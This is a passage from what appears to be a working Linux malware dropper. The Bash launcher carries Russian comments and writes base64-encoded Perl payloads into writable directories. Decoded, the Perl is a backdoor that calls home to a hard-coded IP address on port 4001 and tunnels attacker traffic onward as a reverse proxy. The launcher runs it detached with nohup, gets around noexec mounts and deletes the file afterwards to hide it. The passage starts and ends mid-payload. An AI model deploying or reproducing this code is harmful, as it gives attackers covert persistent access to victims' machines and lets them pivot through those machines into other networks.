gkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_c1da059a() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJ